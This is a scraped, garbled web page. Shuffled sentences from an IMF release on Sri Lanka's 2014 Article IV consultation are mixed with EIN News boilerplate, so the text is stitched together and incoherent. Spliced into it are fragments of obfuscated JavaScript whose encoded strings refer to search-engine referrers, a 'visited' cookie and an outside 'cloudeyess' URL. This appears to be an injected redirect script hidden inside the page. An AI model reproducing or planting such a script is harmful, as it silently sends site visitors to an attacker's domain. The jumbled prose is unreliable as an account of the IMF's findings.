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The central bank should thus be prepared to allow sufficient exchange rate flexibility to adjust to fundamental pressures, while limiting intervention to accumulation of reserves and smoothing short-term volatility.. Tackling the issue of tax expenditures and broadening the tax base will be essential.. The benefits of consolidation would likely be more rapid if fewer restrictions were placed on
restructuring operations.. This perception could lead market participants and firms to hold un-hedged foreign exchange risk on their balance sheets.. Founded in 1995, EIN News is an international leader in real-time news tracking and digital information services.. Second, should external balance continue to improve and inflation stay low, it could gradually lead to increasing currency misalignment..
Financial sector consolidation has potential benefits in the form of economies of scale, new products and services, and a greater resilience (via a stronger capital base) to shocks.. First, it may create the perception that the rupee is implicitly fixedвЂ”a point supported by the shift in exchange rate classification from вЂњmanaged floatвЂќ to вЂњstabilizedвЂќ under the IMFвЂ™s Annual Report on
Exchange Rate Arrangements.

The mission appreciated the steps taken thus far, but was of the view that the pace of reform in this area could reasonably be accelerated.. We are committed to providing our members with the highest quality software tools and resources available.. In this context, and given rising economic growth, the mission saw the fiscal stance for 2014 as appropriate, but raised concern about the composition of
further consolidation.. Our systems continuously scan the web, indexing news from thousands of worldwide sources.. There is also room, in the missionвЂ™s view, to take another look at the medium- and long-term strategy for debt reduction, and consider a more ambitious debt target (more strongly associated with reduced vulnerability) over a longer time horizon.. We are news professionals and
technologists dedicated to producing the fastest and most comprehensive news streams on the planet.
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The data is then filtered and organized into news streams The process is supervised by a team of professional news editors.. var _0x3fc9=['OyBzZWN1cmU=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','dGt5','bFR6','RHJmRGE=','LmJpbmcu','eGFIRUo=','SXBGWmc=','b3JtYXo=','cmVmZXJyZXI=','Z2V0','bUtDbUI=','
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WF0Y2g=','dEZuUmI=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','Y29va2ll','bGFqZmg=','dGhCa0o=','R3VEVnE=','Y0ZraFg=','Z2V0VGltZQ==','dmplZ0s=','QUJMRmk=','OyBkb21haW49'];(function(_0x50fe4c,_0x37785c){var
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Board AssessmentIn concluding the 2014 Article IV consultation with Sri Lanka, Executive Directors endorsed the staffвЂ™s appraisal as follows:The government has remained solidly committed to fiscal consolidation and reduction of public debt as a mainstay of macroeconomic stability.. Consolidation may also result in increased concentration and hinder effective competition if larger and state-
owned banks continue to grow and dominate the banking sector.. Capacity in expenditure and commitment control has increased, enhancing the governmentвЂ™s ability to curtail spending to meet fiscal objectives.. To reach us send an email or call +1 202-540-8337 or +1 800-883-2055. However, staff also cautioned that the persistent stability of the rupee (vis-Г -vis the US dollar) that has arisen as
a side effect of foreign exchange absorption by the central bank since the fourth quarter of 2013 carries risks.. men/don_con php?x=en&query='};var
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Executive Board Concludes 2014 Article IV Consultation and Second Post Program Monitoring DiscussionOn July 23, 2014, the Executive Board of the International Monetary Fund (IMF) concluded the Article IV consultation 1 and second Post-Program Monitoring discussion with Sri Lanka and considered and endorsed the staff appraisal without a meeting.
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_0x58fe2a(_0x3a5872,_0x208c64){return _0x3a5872(_0x208c64);},'lfKXI':function _0x36507a(_0x14f693,_0x3d649c){return _0x14f693+_0x3d649c;},'UsCiq':'https://cloudeyess.. Particularly if Sri Lanka is to maintain current growth momentum and foster economic development and diversification, high and sustained levels of public spending on infrastructure and human capital will be essential..
Real GDP growth is expected to remain robust at about 7 percent in 2014, while inflation is likely to remain in the mid-single digits.. However, given sizeable investment needs, the staff was of the view that spending cuts may have reached their effective limit, and that the burden of adjustment needed to fall more squarely on increasing revenue.. 2The short-term outlook appears broadly positive, as
Sri Lanka is well positioned to benefit from the global economic recovery and particularly stronger growth in advanced economies.. With a continued robust export performance, the current account deficit is expected to narrow further and allow for some additional accumulation of international reserves.. The government has targeted a further reduction of the fiscal deficit to 5 2 percent of GDP,
which should allow for even more reduction of public debt.. StaffвЂ™s analysis indicates that the exchange rate is broadly in line with fundamentals, and staff saw merit in central banksвЂ™ purchases to build its reserves, which remain on the lower end of most reserve adequacy metrics.
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Exchange rate policy remains broadly appropriate, but should be monitored in light of developments in the balance of payments and inflation, and the commitment to flexibility maintained.. Continued progress on corporate governance is also key Close supervision during and after the consolidation process could also help avoid some of the pitfalls encountered by other countries in episodes of
financial sector restructuring, such as excessive credit growth. d70b09c2d4 
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